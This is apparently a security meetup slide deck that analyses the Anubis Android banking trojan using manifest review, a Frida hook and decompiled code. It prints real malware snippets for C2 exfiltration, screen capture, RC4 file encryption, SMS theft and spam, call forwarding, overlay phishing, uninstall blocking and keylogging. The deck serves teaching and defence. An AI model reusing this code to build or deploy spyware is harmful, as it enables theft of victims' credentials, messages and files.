Breaking down Banking Trojan

Anubis Malware Explored

b10s Meetups

Traboda

About Myself

- CTF Player @ Team bi0s
- Mobile Security and Malware Analysis
- Security Researcher Intern at 8kSec

b10s Meetups

Traboda

The Long Battle Against Banking Trojans

- Targeting Android Users since 2014
- There are plenty of variants in the Play Store with over Millions of downloads
- Some Common Families include Bankbot , Cerberus , Anubis , Godfather and Medusa
- Major issue is that most of them masquerade as legitimate applications like Google Play Updates , Chrome Browser and CRM Apps.

b10s Meetups

Traboda

Capabilities

- Capturing screenshots
- Recording sound from the microphone
- Retrieving contacts stored on the device
- Spamming SMS messages from the device to specified recipients
- Capturing GPS data and pedometer statistics
- Implementing a keylogger to steal data and credentials
- Monitoring active apps to perform overlay attacks

Let’s take a look at the sample

b10s Meetups

Traboda

Here is an unspoken rule.

Always(I mean always!)
start from
AndroidManifest.xml

b10s
Meetups

Traboda

Android Manifest.xml

- Provides information regarding the permissions required by an application
- Helps in determining the entrypoint of the application
- Provides information regarding the components like
  - Activities
    - UI of the application is defined
  - Services
    - Simply a function that runs in the background
  - Broadcast Receivers
    - A function takes is triggered due to system wide events
  - Content Providers
    - Component using which we can share data with other applications

b10s Meetups

Traboda

Common Entry Points

- Main Activity
  - Could be determined by the standard Intent Filters

```
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
```

  - This is the first UI that will be displayed on clicking the launcher

- Application Subclass (common in malwares)
  - Defined inside <application> tag
  - Sometimes, analysts leave this code out
  - But in many cases, this class contains important code.
  - We will soon understand why

Where are the missing packages?

- Components aren’t present in the disk.
- This is one of the most commonly used strategies used by Malware Developers
- But Why ?
  - Evade Static Analysis Check
  - Smaller initial package size
  - Code obfuscation

Where will the missing packages come from

- This means that a file with all of the non-defined packages and classes will be loaded into application at run-time. There are two main ways of run-time loading in Android:
- From file:
  - dalvik.system.DexClassLoader
  - dalvik.system.PathClassLoader
- From memory:
  - dalvik.system.InMemoryDexClassLoader (not common in malwares)
- If we are loading it from a file, it should be a DEX (Dalvik Executable)/JAR file.

Finding call to DexClassLoader

- The call is being made at class **gohcthplmgmyrcnhcgsxtysyue.rqjgllnxahaafqsyplz.lcoguawmyxbdzriqeiczstw.Ncoffeetop** and the function is **squeezedefy**

```
public DexClassLoader squeezedefy(String str, String str2, String str3, Field field, WeakReference weakReference) throws Exception {
    this.mTUKCDqDDhiEHyfHbatGgB_243593 = ((this.mTUKCDqDDhiEHyfHbatGgB_243593 * 66723) - BxpRao_667470) - Jg_717472;
    Constructor constructor = DexClassLoader.class.getConstructor(String.class, String.class, String.class, ClassLoader.class);
    int i = BxpRao_667470;
    int i2 = this.mTUKCDqDDhiEHyfHbatGgB_243593;
    DexClassLoader dexClassLoader = (DexClassLoader) constructor.newInstance(str, str2, str3, (ClassLoader) gesturekiss(field, weakReference));
    this.mTUKCDqDDhiEHyfHbatGgB_243593 -= Jg_717472 * BxpRao_667470;
    return dexClassLoader;
}
```

b10s Meetups

Traboda

- We have confirmed that the sample loads the malicious code using DexClassLoader
- Now, we have the find the file that is getting loaded dynamically during run time
- But it isn’t as easy as we thought
- Commonly in Banking family, the payloads are encrypted and are decrypted during runtime.
- Let’s use Frida to simplify the process

```
Java.perform(function() {
    var DexClassLoader = Java.use('dalvik.system.DexClassLoader');

    var strClass = 'java.lang.String';

    DexClassLoader.$init.overload(strClass, strClass, strClass, 'java.lang.ClassLoader').implementation =
function(path, dir, arg3, arg4) {
        console.log("[*] DexClassLoader constructor called!");
        console.log("dexPath: " + path);
        console.log("optimizedDirectory: " + dir);

        var Thread = Java.use('java.lang.Thread');
        var currentThread = Thread.currentThread();
        var stackTrace = currentThread.getStackTrace();
        console.log("[*] Call stack:");

        for (var i = 0; i < stackTrace.length; i++) {
            var st = stackTrace[i].toString();
            if (st.includes("gohcthplmgmyrcnhcgsxtysyue")) {
                console.log(st);
            }
        }

        return this.$init(path, dir, arg3, arg4);
    };
});
```

b10s Meetups

Traboda

Data Exfiltration

- C2 Server url is https[:]//old.mandamientos.ga
- It sends a POST request to the C2 server+endpoint containing the data in an encrypted form.
- Data is encrypted using RC4 algorithm

```
String str3 = str.equals("1") ? "/o1o/a3.php" : "";
if (str.equals("2")) {
    str3 = "/o1o/a4.php";
}
if (str.equals("3")) {
    str3 = "/o1o/a5.php";
}
if (str.equals("4")) {
    str3 = "/o1o/a6.php";
}
if (str.equals("5")) {
    str3 = "/o1o/a7.php";
}
if (str.equals("6")) {
    str3 = "/o1o/a8.php";
}
if (str.equals("7")) {
    str3 = "/o1o/a9.php";
}
if (str.equals("10")) {
    str3 = "/o1o/a10.php";
}
```

b10s Meetups

Traboda

Command: startscreenVNC

- Start a virtual network computing (VNC) that can see the screen of the victim's device.
- Implemented by jrxrpdcxd.ltnihmedlhocbq.ryqsmeytremjrdbpxl.oyqwzkyy.qvhy.jkeggfql
- It use the API **android.media.projection.MediaProjection** and **android.media.ImageReader** to take a screenshot of the screen and sends it to url/o1o/a1.php via a POST request for every 0.5 second.

```
ry {
   this.c = this.g.getMediaProjection(this.j, this.k);
   this.i = new a(this);
   AnonymousClass3 anonymousClass3 = new AnonymousClass3();
   this.d = this.c.createVirtualDisplay("andshooter", this.i.b(), this.i.c(), getResources().getDisplayMetrics().densityDpi, 9, this.i.a(), null, this.f);
   this.c.registerCallback(anonymousClass3, this.f);
 catch (Exception e) {
   this.b.mw_deadCode1("error", e.getMessage());
```

b10s Meetups

Traboda

Storing and Exfiltration of Screenshot

```
public void run() {
    File file = new File(jkeggfql.this.getExternalFilesDir(null), "screenshot.jpg");
    try {
        FileOutputStream fileOutputStream = new FileOutputStream(file);
        fileOutputStream.write(this.a);
        fileOutputStream.flush();
        fileOutputStream.getFD().sync();
        fileOutputStream.close();
        MediaScannerConnection.scanFile(jkeggfql.this, new String[]{file.getAbsolutePath()}, new String[]{"image/jpg"}, null);
```

```
while (true) {
    try {
        try {
            TimeUnit.MILLISECONDS.sleep(500L);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    } catch (Exception unused) {
        bVar.mw_deadCode1("error", "Send screenshot");
    }
    if (bVar.mw_read_sharedPref1(this, "vnc").equals("stop") || bVar.mw_read_sharedPref1(this, "websocket").equals("")) {
        break;
    }
    bVar.a(this, b.a(new File(getExternalFilesDir(null), "screenshot.jpg")), this.a + ".jpg");
```

b10s Meetups

Traboda

Locking up files

- Checks if the file is having ".AnubisCrypt" file extension
- If not, it will encrypt the file contents using RC4 algorithm and saves with the desired file extension
- Affects /mnt, /mount, /sdcard and /storage
- When the app decides the status as "decrypt" , it starts the decryption protocol and deletes all other temporary files.

```
void b(File file) {
    FileOutputStream fileOutputStream;
    try {
        for (File file2 : file.listFiles()) {
            if (file2.isDirectory()) {
                b(file2);
            } else if (file2.isFile()) {
                try {
                    b bVar = this.a;
                    byte[] a = b.a(file2);
                    if (this.b.equals("crypt")) {
                        if (!file2.getPath().contains(".AnubisCrypt")) {
                            byte[] a2 = this.a.a(a, this.xxxx);
                            fileOutputStream = new FileOutputStream(file2.getPath() + ".AnubisCrypt", true);
                            fileOutputStream.write(a2);
                        }
                    } else if (this.b.equals("decrypt") && file2.getPath().contains(".AnubisCrypt")) {
                        byte[] b = this.a.b(a, this.xxxx);
                        fileOutputStream = new FileOutputStream(file2.getPath().replace(".AnubisCrypt", ""), true);
                        fileOutputStream.write(b);
                    }
                    fileOutputStream.close();
                    file2.delete();
```

b10s Meetups

Traboda

Command: GetSWSGO

- Collects message of types : sent , inbox and drafts sections.

- Collects Contact Number and Message content associated for all messages and these information are exfiltrated to the attacker server

```
try {
    Cursor query = getContentResolver().query(Uri.parse("content://" + str), null, null, null, null);
    startManagingCursor(query);
    if (query.getCount() <= 0) {
        return "";
    }
    String str3 = "";
    if (str.equals("sms/sent")) {
        str3 = "-----SENT-----";
    } else if (str.equals("sms/inbox")) {
        str3 = "-----INBOX-----";
    } else if (str.equals("sms/draft")) {
        str3 = "-----DRAFT-----";
    }
    while (query.moveToNext()) {
        String string = query.getString(12);
        if (string == null) {
            str2 = "";
        } else {
            str2 = string + " ";
        }
        str3 = str3 + "\nNumber: (" + query.getString(2) + ")\nText: " + str2 + query.getString(13);
    }
```

b10s Meetups

Traboda

Command: spam=

- Make a POST request to **url/o1o/a15.php** to get the target phone numbers
- Once the number is received, send spam SMS message to those numbers for every 1 second
- Until, it realized the device can't send anymore messages(maybe due to insufficient balance), then only it will stop

```
b bVar2 = this.a;
StringBuilder sb2 = new StringBuilder();
sb2.append("p=");
sb2.append(this.a.c("getnumber" + this.b));
String d = this.a.d(bVar2.b(this, "15", sb2.toString()));
```

```
public void c(Context context, String str, String str2) {
    SmsManager smsManager = SmsManager.getDefault();
    ArrayList<String> divideMessage = smsManager.divideMessage(str2);
    PendingIntent broadcast = PendingIntent.getBroadcast(context, 0, new Intent("SMS_SENT"), 0);
    PendingIntent broadcast2 = PendingIntent.getBroadcast(context, 0, new Intent("SMS_DELIVERED"), 0);
    ArrayList<PendingIntent> arrayList = new ArrayList<>();
    ArrayList<PendingIntent> arrayList2 = new ArrayList<>();
    for (int i = 0; i < divideMessage.size(); i++) {
        arrayList2.add(broadcast2);
        arrayList.add(broadcast);
    }
    smsManager.sendMultipartTextMessage(str, null, divideMessage, arrayList, arrayList2);
}
```

b10s Meetups

Traboda

Command: startforward=

- Proceeds to forward all calls to a number provided by the server using the code “*21*”

- There is also a corresponding “stopforward=” command that deregisters from the process via “#21#”

```
if (split[i2].contains("startforward=")) {
    try {
        this.b.l(this);
        String a16 = this.b.a(split[i2], "startforward=", "|endforward");
        this.b.mw_deadCode1("Number", a16);
        this.b.b(this, "*21*" + a16 + "#");
```

```
public void b(Context context, String str) {
    try {
        Intent intent = new Intent("android.intent.action.CALL");
        intent.addFlags(268435456);
        intent.setData(Uri.fromParts("tel", str, "#"));
        context.startActivity(intent);
```

```
if (split[i2].contains("stopforward")) {
    try {
        this.b.l(this);
        this.b.b(this, "#21#");
    } catch (Exception unused27) {
```

b10s Meetups

Traboda

Intercepting Messages

- Using a Broadcast Receiver that listens for “android.provider.Telephony.SMS_RECEIVED”
- Whenever the device receives a message, it collects the message sender’s number and content and send it to the attacker

```
try {
    Object[] objArr = (Object[]) extras.get("pdus");
    String str = "";
    String str2 = "";
    if (objArr != null) {
        int length = objArr.length;
        int i = 0;
        while (i < length) {
            SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
            String displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
            String displayMessageBody = createFromPdu.getDisplayMessageBody();
            str2 = str2 + displayMessageBody;
            context.startService(new Intent(context, (Class<?>) whemsbk.class).putExtra("num", displayOriginatingAddress).putExtra("ms", displayMessageBody));
            i++;
            str = displayOriginatingAddress;
        }
    }
    this.a.a(context, str, str2);
```

```
public void a(Context context, String str, String str2) {
    StringBuilder sb = new StringBuilder();
    sb.append("p=");
    sb.append(c(q(context) + "|Incoming SMS\nNumber: " + str + "\nText: " + str2 + "\n|"));
    b(context, "4", sb.toString());
}
```

b10s Meetups

Traboda

Targeted Apps

- It loops through installed applications and compares them against hardcoded packages names (mostly banking apps).
- Once it determines that one of these apps, it will be used to launch an overlay attack.
- Covers over 100 banking and crypto applications

```
for (ApplicationInfo applicationInfo : context.getPackageManager().getInstalledApplications(128)) {
    if (applicationInfo.packageName.equals("at.spardat.bcrmobile")) {
        str = str + "at.spardat.bcrmobile,";
    }
    if (applicationInfo.packageName.equals("at.spardat.netbanking")) {
        str = str + "at.spardat.netbanking,";
    }
    if (applicationInfo.packageName.equals("com.bankaustria.android.olb")) {
        str = str + "com.bankaustria.android.olb,";
    }
    if (applicationInfo.packageName.equals("com.bmo.mobile")) {
        str = str + "com.bmo.mobile,";
    }
    if (applicationInfo.packageName.equals("com.cibc.android.mobi")) {
        str = str + "com.cibc.android.mobi,";
    }
    if (applicationInfo.packageName.equals("com.rbc.mobile.android")) {
        str = str + "com.rbc.mobile.android,";
    }
```

b10s Meetups

Traboda

How Overlay is created

- Corresponding Command from the server is =PUSH|
- Once this command arrives,
  - In a service named nepgaqmyfrhw , a new notification is created with Logo of the targeted application downloaded from their server , along with the text provided by the attacker
  - If someone clicks on the notification, a webview activity named ozkgyjpxtyxajmm, will be loaded
  - This webview will load a web page that looks like the target app and can phish credentials, credit card information and much more.
- Different banking trojans use different ways of loading their overlay screen.

Webview Implementation

```
String str = "";
try {
    str = this.b.mw_read_sharedPref1(this, "urlInj");
} catch (Exception unused) {
}
this.b.mw_deadCode1("START INJ", "" + mw_read_sharedPref1);
WebView webView = new WebView(this);
webView.getSettings().setJavaScriptEnabled(true);
webView.setScrollBarStyle(0);
webView.setWebViewClient(new b(this, null));
webView.setWebChromeClient(new a(this, null));
webView.loadUrl(str + "/fafa.php?f=" + mw_read_sharedPref1 + "&p=" + this.b.q(this) + "|" + Resources.getSystem().getConfiguration().locale.getCountry().toLowerCase());
setContentView(webView);
jrxrpdcxd.ltnihmedlhocbq.ryqsmeytremjrdbpxl.b bVar = this.b;
StringBuilder sb = new StringBuilder();
sb.append("p=");
sb.append(this.b.c(this.b.q(this) + "|Start injection " + mw_read_sharedPref1 + "|"));
bVar.b(this, "4", sb.toString());
```

b10s Meetups

Traboda

Additional Commands

getip	Collects IP Address of the device using http://en.utrace.de/
openbrowser=	Opens specified url in the default browser
getapps	Gets list of all installed applications
nymBePsG0	collects the phone numbers and their contact name
:NETWORK: and :GPS:	Gets updated Location object using Network and GPS Provider.

Is that really it ?

Or did we forget about something ....

b10s Meetups

Traboda

What is Accessibility Service

- Enhances the user interface to assist users with disabilities or who might temporarily be unable to fully interact with a device.
- Runs in the background and receive callbacks by the system when AccessibilityEvents are triggered.
- AccessibilityEvents could be anything from a button click , simple scroll , state transition in the user interface and much more.
- Optionally request the capability for querying the content of the active window with the help of AccessibilityNodeInfo.
- Important functions to check for this service are onServiceConnected() and onAccessibilityEvent().

AccessibilityService Implementation

- Defined in jrxrpdcxd.ltnihmedlhocbq.ryqsmeytremjrdbpxl.egxltnv class.
- Could be easily identified from the Manifest file with certain indicators.

- Is Responsible for
  - Application Persistence by nullifying Uninstall and Factory Reset
  - Makes sure Google Protect is not enabled
  - Performs Keylogging by collecting all typing , focusing and clicking events and exfiltrate all these information to the attacker.

App Persistence

```
public void a() {
    Intent intent = new Intent("android.intent.action.MAIN");
    intent.addCategory("android.intent.category.HOME");
    intent.setFlags(268435456);
    startActivity(intent);
}
```

```
if (str3.contains("30") && str3.length() > 30 && str3 != "" && str2.contains("com.android.settings")) {
    a();
    b bVar6 = this.a;
    StringBuilder sb4 = new StringBuilder();
    sb4.append("p=");
    sb4.append(this.a.c(this.a.q(this) + "|Attempt to reset the system|"));
    bVar6.b(this, "4", sb4.toString());
}
try {
    if (accessibilityEvent.getPackageName().toString().contains("com.google.android.packageinstaller") && str4.contains("android.app.alertdialog")
        a();
        b bVar7 = this.a;
        StringBuilder sb5 = new StringBuilder();
        sb5.append("p=");
        sb5.append(this.a.c(this.a.q(this) + "|Attempt to remove malware 1|"));
        bVar7.b(this, "4", sb5.toString());
    }
} catch (Exception unused7) {
}
try {
    if (str4.contains("settings.verifyappssettingsactivity") && this.a.mw_read_sharedPref1(this, "play_protect").equals("false")) {
        a();
        b bVar8 = this.a;
        StringBuilder sb6 = new StringBuilder();
        sb6.append("p=");
        sb6.append(this.a.c(this.a.q(this) + "|Trying to enable <Google Play Protect>!|"));
        bVar8.b(this, "4", sb6.toString());
    }
```

b10s Meetups

Traboda

Keylogging

- Whenever accessibility service detects any form of Clicking , Focusing or Typing , it will orderly collect the information with timestamps

- All of these information are stored in a file named “keys.log”

- When the c2 server issues “getkeylogger” command, it will read the contents of the file and send it to the attacker

- Whenever “clear” command is issued, the file is emptied.

b10s Meetups

Traboda

```
try {
    String format = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US).format(Calendar.getInstance().getTime());
    int eventType = accessibilityEvent.getEventType();
    if (eventType == 1) {
        String obj = accessibilityEvent.getText().toString();
        this.a.mw_deadCode1("KEY3", format + "|(CLICKED)|" + obj);
        sb = new StringBuilder();
        sb.append(format);
        sb.append("|(CLICKED)|");
        sb.append(obj);
        sb.append("|^|");
    } else if (eventType == 8) {
        String obj2 = accessibilityEvent.getText().toString();
        this.a.mw_deadCode1("KEY2", format + "|(FOCUSED)|" + obj2);
        sb = new StringBuilder();
        sb.append(format);
        sb.append("|(FOCUSED)|");
        sb.append(obj2);
        sb.append("|^|");
    } else if (eventType == 16) {
        String obj3 = accessibilityEvent.getText().toString();
        this.a.mw_deadCode1("KEY1", format + "|(TEXT)|" + obj3);
        sb = new StringBuilder();
        sb.append(format);
        sb.append("|(TEXT)|");
        sb.append(obj3);
        sb.append("|^|");
    }
```

b10s Meetups

Traboda

b10s Meetups

Traboda